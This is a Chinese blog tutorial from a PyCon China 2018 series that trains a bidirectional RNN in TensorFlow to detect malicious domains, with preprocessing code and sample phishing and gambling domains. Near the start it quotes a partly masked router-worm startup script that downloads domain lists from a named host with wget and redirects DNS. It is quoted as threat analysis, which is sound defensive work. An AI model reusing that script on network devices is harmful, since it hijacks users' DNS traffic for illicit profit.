1. 程式人生 > >連載四:PyCon2018|惡意域名檢測例項(附原始碼)

連載四:PyCon2018|惡意域名檢測例項(附原始碼)

第八屆中國Python開發者大會PyConChina2018,由PyChina.org發起,由來自CPyUG/TopGeek等社群的30位組織者,近150位志願者在北京、上海、深圳、杭州、成都等城市舉辦。致力於推動各類Python相關的技術在網際網路、企業應用等領域的研發和應用。
程式碼醫生工作室有幸接受邀請,參加了這次會議的北京站專場。在會上主要分享了《人工智慧實戰案例分享-影象處理與數值分析》。
會上分享的一些案例主要是來源於《python帶我起飛——入門、進階、商業實戰》一書與《深度學習之TensorFlow:入門、原理與進階實戰》一書。另外,還擴充了若干其它案例。在本文作為補充,將會上分享的其它案例以詳細的圖文方式補充進來,並提供原始碼。共分為4期連載。
  1. 用slim呼叫PNASNet模型

  2. 用slim微調PNASNet模型

  3. 用對抗樣本攻擊PNASNet模型

  4. 惡意域名檢測例項


路由器蠕蟲觸發的網路安全人工智慧實戰

在10月11日捕獲並處置針對有線電視機頂盒的蠕蟲之後,我們再次捕獲到針對高階通訊裝置的攻擊蠕蟲,被攻擊裝置通常具有使用者行為管控能力(例如:NGFW、UTM、行為管理、QoS類裝置)。該蠕蟲採用類似Mirai的攻擊手法,利用弱口令爆破進入網路裝置,在裝置啟動指令碼嵌入非法指令,下載域名資源並裝載進裝置進行重定向,非法牟利。典型的嵌入攻擊程式碼如下,為避免濫用,我們對部分關鍵命令做了遮蔽處理。

#! /bin/sh

config dns rmvgrp 16

config dns rmvgrp 17

config dns rmvgrp 18

config dns rmvgrp 19

config dns addgrp 17 webwwurl

//下載並裝載涉黃域名

wget http://yuanlinhome.com/kefu.txt

cp kefu.txt /kefu1.txt

wget dns loadfile 17 /kefu1.txt

rm -rf kefu.txt

rm -rf /kefu1.txt

config dns addgrp 18 webwurl

//下載並裝載涉賭域名

wget http://yuanlinhome.com/bc.txt

cp bc.txt /bc1.txt

config dns loadfile 18 /bc1.txt

rm -rf bc.txt

rm -rf /bc1.txt

//重定向域名非法牟利

config dns addrule id=864 inip=any dns=18 outip=any action=reply actarg=101.102.225.211

config dns addrule id=964 inip=any dns=17 outip=any action=reply actarg=101.102.225.209

追蹤其惡意資源網站,發現是註冊解析在DNSPod,並啟用了CDN服務,實際牟利的網址則位於境外。



啟用CDN傳播病毒相關資源已是常態,詳情可參考天際友盟相關技術文章《CDN校驗漏洞催生海量網路投毒》。這類網站的最終操縱者,還沒有溯源的先例,業界辦法不多。除去處置掉相關蠕蟲配置,封閉可能出問題的網路裝置服務之外,我們決定對該病毒所載入的病毒資源進行人工智慧識別實驗,並開源相關的工程和程式碼,以期望提高整個業界的識別水平,對病毒攻擊做出最好的回擊。

文章後續重點探討人工智慧在惡意域名檢測中的方法,使用TensorFlow框架實現,採用監督學習的訓練方法。在案例的整個流程中,涵蓋了樣本預處理、Tensorflow通用框架編寫、雙向RNN模型的搭建、詞嵌入技術的應用、及後續優化和升級方案等內容。整個案例的程式碼在GITHUB上有公開,其中模型部分的程式碼以凍結圖的方式提供。

第1部分 模型的執行

該模型使用雙向RNN技術進行惡意域名檢測。使用了130多萬條域名樣本,其中100多萬是正常域名樣本,30多萬是惡意域名樣本。惡意域名樣本來源於本次病毒攻擊下載的資原始檔和天際友盟的威脅情報系統,正常域名樣本來源於正常使用者的上網行為資料。訓練結束後,混合測試集樣本的識別正確率達到99%左右,純負向樣本的正確率達到96%,純正向樣本的正確率達到98%。另外在程式碼同步的樣本中,提供了一組待測的資料及處理結果。

1.1 執行方法

(1)將程式碼及所有的樣本下載下來。

(2)開啟main.py,將第67行設定為如下;

mode = "pretrain"
複製程式碼

直接執行。會生成樣本預處理檔案,及字典檔案。

(3)再將上面程式碼改成如下:

mode = "evalfreeze"
複製程式碼

直接執行。會對資料20171213142927.xls進行域名檢測處理,生成eyn.txt檔案。

下面我們就來詳細介紹下,背後的AI技術。

第2部分 樣本預處理


利用人工智慧解決問題的專案都是先從樣本入手。本小節先來分析下手裡拿到的資料,並對其加工處理,生成可以使用的樣本。為後面的工作做好鋪墊。

2.1 樣本介紹

在專案初期,需要先使用少量的資料,做精細化的樣本處理。以便能夠給模型一個正確的方向指導。它就彷彿一個學生的啟蒙老師一樣,要為學生明確一個是非對錯的價值關,所以這部分的工作尤為重要。樣本要儘可能的純淨,具有代表性。

這裡先來介紹一下用於處理的第一批原始資料,它一共有4個檔案:

  • 111.txt:包含正向和惡意的混合域名;

  • Kefu.txt:包含涉黃域名;

  • bc.txt:包含涉賭域名;

  • domain_malicious.txt:包含其他未知的惡意域名

2.2 預處理工作

預處理部分主要做三種操作:正負樣本分離、生成字典、樣本轉儲。

2.2.1 正負樣本分離

為了訓練方便,在樣本預處理階段,會將111.txt中的惡意域名去除,加工成為正向的域名集合。經過預處理後,得到的樣本的詳細資訊如下:


樣本種類

個數

所在檔案

正確域名

1022296

111.txt

涉黃域名

236

kefu.txt

涉賭域名

223491

bc.txt

其他未知惡意域名

115107

domain_malicious.txt

為了將來可以對域名分析更精細化的擴充套件,例如開篇的圖例所顯示的路徑,會把樣本按照已有的分類放在不同的資料夾裡。這樣可以為不同的樣本打上不同的標籤,做更精細化的分類任務。

當然本次實戰案例,只是需分正確的與惡意的域名,所以只會打上兩種標籤:0、1。對於111.txt中剔除惡意的域名之後剩下的部分統一打成0標籤。其餘的域名統一打成1標籤。

1. 讀取部分程式碼

讀取文件部分的程式碼在preprosample類的load_txt_sample函式中實現,是使用遞迴目錄的方式,按照資料夾來讀取到對應的list中。程式碼如下:

def load_txt_sample(self, split='train'):
        '''遞迴。如果是隻有一級。就直接返回。如果是有多級,【根,子目錄1,子目錄2。。。】
        讀取txt檔案,一行一行的讀,傳入一個目錄,讀取目錄下的每一個檔案
        '''
        print ('loading sample  dataset..')

        alldata = []
        for (dirpath, dirnames, filenames) in os.walk(self.sample_dir):#一級一級的資料夾遞迴
            print(dirpath,dirnames,filenames)
            sdata = []
            for filename in filenames:
                filename_path = os.sep.join([dirpath, filename])  
                with open(filename_path, 'rb') as f:  
                    for onedata in f:
                        onedata = onedata.strip(b'\n')
                        try:
                            #print(onedata.decode('gb2312'))#,onedata.decode('gb2312'))'UTF-8'
                            sdata.append(onedata.decode( 'gb2312' ).lower().replace('\r',''))
                        except (UnicodeDecodeError):
                            print("wrong:",onedata.decode)

            alldata.append(sdata)


        print( len(alldata) )
        if len(alldata)>1:
            return alldata
        return sdata
複製程式碼

2. 分離樣本程式碼

在preprosample類的do_only_sample函式中,使用Python的集合運算方式,實現在混合資料中剔除負樣本的操作。程式碼如下:

 def do_only_sample(self, alldata):
        '''去重  【【正】【負】【負】】
        '''

        alldataset = set(alldata[0] )
        dudataset = set(alldata[1] )  
        huangdataset = set(alldata[2] )  
        otherset = set(alldata[3])
        print(len(alldataset))
        yesdataset = (alldataset-dudataset)-huangdataset
        print(len(yesdataset))
        return list(yesdataset),list(dudataset),list(huangdataset),list(otherset)
複製程式碼

2.2.2 生成字元字典

在模型訓練過程中,需要將樣本都轉成具體的字元向量才可以進行。所以有必要為已有的域名建立一個字元字典用於向量對映。所謂的字元字典就是將域名中出現的字元統計起來,每個不同的字元都給與一個對應的唯一編號。

經過處理後,得到的域名字元對應的字典如下:

['None', 'b', '.', '5', '%', '9', '7', 't', 'p', 'i', 'g', 'e', 'k', 'y', '1', '&', 'w', 'r', ')', '*', 'h', 'c', 'f', '=', ':', 'n', 'u', '4', 'a', '(', '-', 'j', '3', '?', '^', 'z', 'm', 'v', '_', 'x', 'q', '/', '8', 's', '0', 'o', 'd', '2', 'l', '6']

其中的第一個‘None’是額外加入的佔位字元。對與字典中的位置字元可以統一被影射為None字元。這樣做可以防止字典字元覆蓋不全的情況。

為了將某個字元對映為向量,需要將上述的字典做個反向,即,輸入某個字元獲得其對應的向量值。處理後的反向字典如下:

{'.': 2, 'w': 16, 'f': 22, '6': 49, '1': 14, 'm': 36, 'r': 17, '3': 32, '5': 3, '_': 38, '0': 44, 'd': 46, '9': 5, '(': 29, '=': 23, '?': 33, 's': 43, 't': 7, 'c': 21, '^': 34, 'b': 1, '/': 41, '*': 19, 'z': 35, ')': 18, 'p': 8, 'g': 10, '%': 4, 'k': 12, 'l': 48, 'q': 40, 'v': 37, 'j': 31, 'x': 39, 'e': 11, 'u': 26, '7': 6, '2': 47, '8': 42, 'n': 25, 'None': 0, 'a': 28, '4': 27, 'o': 45, 'y': 13, ':': 24, 'i': 9, '&': 15, 'h': 20, '-': 30}

利用上述的反向字典,就可以將具體的字元轉化成向量了。上面的結構是Python中字典型別的物件內容。Key就是某個具體的字元,對應value就是想要得到的向量。

2.2.3 儲存樣本

為了方便運算,希望程式在訓練模型時,每次的執行只針對預處理後的結果進行訓練。這樣就有必要將原有預處理的結果存起來。這裡會將生成的字典、與正負樣本及其對應的標籤存起來。使用Python中的pickle來實現該步驟的操作。

具體的做法是在preprosample類的save_sample函式中,將資料集分成兩部分,一部分用於測試集、一部分用於訓練集。分別儲存到plk檔案中。

def save_sample(self,sdatasample,slabelsample,maketrain = 1):

        if maketrain == 1:
            lendata = int(len(slabelsample)*0.95)
        else:
            lendata = int(len(slabelsample))

        train = {'X': sdatasample[:lendata],
                 'y': slabelsample[:lendata]}

        test = {'X': sdatasample[lendata:],
                'y': slabelsample[lendata:]}

#        if not os.path.exists(self.plk_dir):
#            os.mkdir(self.plk_dir)

        # make directory if not exists
        if tf.gfile.Exists(self.plk_dir):
            tf.gfile.DeleteRecursively(self.plk_dir)
        tf.gfile.MakeDirs(self.plk_dir)

        self.save_pickle(train, self.plk_dir+'/train.pkl')
        if maketrain == 1:
            self.save_pickle(test, self.plk_dir+'/test.pkl')
複製程式碼


訓練集部分用於模型訓練。而測試集部分用於評估模型的準確度。上面程式碼中對呼叫的儲存PLK檔案方法也進行了封裝,具體程式碼如下:

def save_pickle(self,data, path):
        with open(path, 'wb') as f:
            pickle.dump(data, f, pickle.HIGHEST_PROTOCOL)
            print ('Saved %s..' %path)複製程式碼

這麼做的原因是可以讓程式有更好的擴充套件性,如果想用別的方式來儲存預處理結果,直接修改該介面即可。

第3部分 TensorFlow通用框架的編寫

在TensorFlow1.3版本之後,提出了一個估算器框架的概念。使得開發者可以在完成深度學習程式搭建的過程中,不必要太關心各個環節的組織連線工作。大大提升了開發效率。但是由於封裝得過於到位,對於初學者來講並不透明。為了案例演示,這裡使用了非估算器結構框架,手動搭建通用處理框架來將各個環節組織起來。

3.1 框架基本程式碼結構

組成通用框架的基本程式碼結構,共分為4個檔案,具體如下:

  • main.py:為程式的總體入口;

  • model.py:為程式的模型檔案;

  • prepro.py:為程式的預處理檔案;

  • work.py:為程式的流程檔案

除了main檔案,其他檔案都是以類的形式存在,每一個類實現幾個具體的獨立功能,例如model單獨存放模型檔案,也可以在其內部實現多種模型,進行訓練比較;prepro負責在main執行前進行資料的預處理工作,將原始資料儲存成具體的可使用樣本;work則是具體的流程處理操作,根據main下達的訓練、評估、應用指令,來呼叫模型,同時載入對應的預處理後的資料,完成整體的任務。

3.2 預處理類preprosample

該類可以當作工具類來使用,預處理部分主要做兩種操作,裡面的方法有:

  • load_cvs_evaldata:從csv檔案讀取資料;

  • load_txt_sample:遞迴讀取txt檔案的樣本;

  • do_only_sample:樣本去重;

  • make_dictionary:生成字典;

  • ch_to_v:字元轉向量;

  • pad_sequences:樣本對齊的pad操作;

  • load_dic:載入字典;

  • save_sample儲存樣本。


3.3 流程處理Work類

主要是針對專項流程方面的處理(比如訓練、測試、應用等),和一些基礎操作(載入樣本):

  • load_pkl_sample:載入樣本;

  • evalfreeze:應用模型;

  • train:訓練模型;

  • test:測試模型。


3.4 模型結構DomainNameModel類

該主要是類放置的訓練模型的網路結構定義。函式build_model用來實現網路結構的具體定義。可以通過輸入不同的引數返回不同的節點。程式碼中給出了freeze引數的實現:將模型檔案載入到記憶體中,返回給work。可以在work進行模型應用的具體計算。

第4部分 模型搭建

模型搭建的部分,是在動態雙向RNN基礎上使用了詞嵌入技術,即將每個字元向量轉成64維度的詞嵌入向量作為輸入,然後通過雙向RNN進行基於域名的正反向特徵提取,最後通過2層全連線網路來完成的。整體結構如下圖所示:

4.1 相關模型引數細節

如上圖所示,按照從下至上,一次介紹相關模型及引數的細節如下:

  • 原始域名字元對映字典的長度為50;

  • 對映後的向量,經過嵌入詞轉換的維度為64;

  • 在雙向RNN中,使用了變長序列的處理方式,支援最大序列長度為256;

  • 雙向RNN的前向與後向採用同樣的結構,一個兩層的RNN網路,每層RNN由64個GRU單元組成;

  • 雙向RNN的結果輸入到一個16節點組成的全連線網路。

  • 然後,在進入一個2節點組成的全連線網路。

  • 對模型出來的結果進行softmax變換,並且與標籤進行交叉熵運算,得出loss值。

  • 反向傳播使用AdamOptimizer優化器。

  • 學習率為0.0008。

  • 訓練時採用隨機最小批次方式進行樣本輸入。批次的最大值為1024。

4.2 需要注意的技術細節

模型部分的程式碼是以凍結圖方式提供的。如果自己需要進行編寫及優化,可以參考下面的關鍵技術部分原始碼:

4.2.1 變長雙向RNN的實現

在《深度學習之TensorFlow入門、原理與進階實戰》一書的9.4.2中的第4小節,介紹過變長動態RNN的實現。該方法與變長雙向RNN的實現非常類似。只需要將輸入批次樣本中對應的長度列表一起放入雙向RNN初始化函式裡即可。

4.2.2 雙向RNN接全連線網路的實現

該部分可以參考《深度學習之TensorFlow入門、原理與進階實戰》一書的9.5語音識別例子中的模型部分。該模型也是使用用了雙向RNN並結合全連線網路進行音字翻譯的。

4.2.3 多層RNN的實現

本案例與《深度學習之TensorFlow入門、原理與進階實戰》一書的語音識別例子唯獨不同的是,在語音識別的例子中使用的是單層RNN網路。如果需要實現多層可以參考9.4部分的多成RNN例子。

4.3 調優的誤區

可以注意到上面公佈的引數中,每一層的節點都不是很多。大家都知道,節點個數越多,會提高模型越強的擬合能力。但是在實際應用中,會發現越高的節點個數會使模型在擁有更高的擬合能力基礎上同樣帶有更低的泛化能力。其表現的現象就是在使用對抗樣本訓練時,會使模型抖動的厲害。所以在調優過程中,千萬不要一味的盲目加大節點。

第5部分 後續的優化及升級方案

本案例僅僅是個拋磚引玉的作用,當然還有很多可以優化的地方。

5.1 基於現有精度的優化

在詞嵌入部分本案例使用的是隨機初始值,這裡完全可以通過載入預訓練好的詞向量模型,讓現有模型獲取更為準確的語義特徵。具體做法是使用CBOW或skip-gram模型,對現有域名的字元間關係進行分析。基於分析後的語義在進行詞嵌入的對映,會比原有模型的效果更好。

5.2 基於模型結構的優化

該應用還可以是使用半監督式訓練方法進行模型的訓練,生成式對抗神經網路應當是首選。由於應對與仿照正規網站的欺騙型別惡意域名,因為它符合正樣本唯一,負樣本隨機的特徵。生成式對抗神經網路具有強大的樣本特徵擬合功能,可以使我們得到更為精確的判別器網路。但是其訓練的關節相對複雜,比其他網路更難於訓練,這是目前的困難所在,也是後續的研究方向。

5.3 基於案例應用的優化

對於惡意域名檢測案例的應用來講,這只是個開端,距離商用還有很多細分工作要做。因為惡意域名的形式遠不止文章中提到的黃、賭之類的型別。若想將域名識別的更為精確必須要將域名按照細分類別單獨處理才是。

例如:像下列這種DUBO的惡意域名,特徵就比較明顯。單純從域名字元形態上就可以進行區分。若使用AI技術單獨用於該類識別,準確率就會非常的高。

0000002.com
000000cf.com
000000.com
0000036.com
00000378.com
00000.am
00000hg.com
00000hm.com
00000jsc.com
00000k9.com
00000msc.com
00000s8s.com
00000tb.com
00000vn.com複製程式碼

而對於下面這種具有一定語義的涉黃域名,則需要模型對其語義進行理解和區分。使用具有理解語義的模型對其專門訓練即可得到很好的效果。

chat.l8servicedreamofcity.com
happypussygames.com
chat.l8serviceqy8.com
chat.l8serviceuqu.com
badasianpussy.com
livechat-d88.com
livechatinc.com複製程式碼

如果將上面兩種情況放在一起區分,就是本篇文章的模型。但是它缺少通用性,例如對於欺騙類的域名,假冒網站的域名識別就是該模型無法勝任的事情。

apple-info.net
apple-inportant.com
apple-itunes.serverhost.com
apple-login-account.ga
apple-mac911.onlinesoftwaresollutionhelpdesk.info
apple.g2live.net
apple-refund-id38303910.cf
apple-refund-id38303911.cf
apple-refund-id389401310.cf複製程式碼

上面列出的都是惡意域名。是仿照蘋果官網的網站做的釣魚網站域名。正常的域名如下:

Apple.com
Itunes.com複製程式碼

模型在處理這個問題時,就會出現抖動。因為模型雖然能夠學到裡面的語義,但也無法判斷其為惡意還是正常。類似這種情況的欺騙網站,還有很多,比如仿照各大銀行的網站、金融交易網站等。對於這類問題就不能與前面的一般惡意域名檢測問題放在一起處理。必須得分開,進行單獨的樣本收集,訓練。可以使用傳統的黑白名單方式、也可以升級現有的網路模型,使其適應更多樣變化的特徵,例如使用對抗網路模型等。

參考:

1.本案例程式碼與資源下載網址:

https://github.com/jinhong0427/domain_malicious_detection

2.CDN校驗漏洞催生海量網路投毒:

http://www.freebuf.com/news/139358.html

3.變長雙向RNN的正確使用姿勢: http://blog.csdn.net/lijin6249/article/details/78955175

4.IP地址溯源:

https://www.ipip.net/

5.天際友盟威脅情報平臺:

https://redqueen.sec-un.com/

致謝:

感謝感謝派網軟體提供安全方向技術支援。

1.CNCERT

2.烽火臺安全威脅情報聯盟


【更多精彩】:關注公眾號: xiangyuejiqiren


如果覺得本文有用,可以分享給更多小夥伴。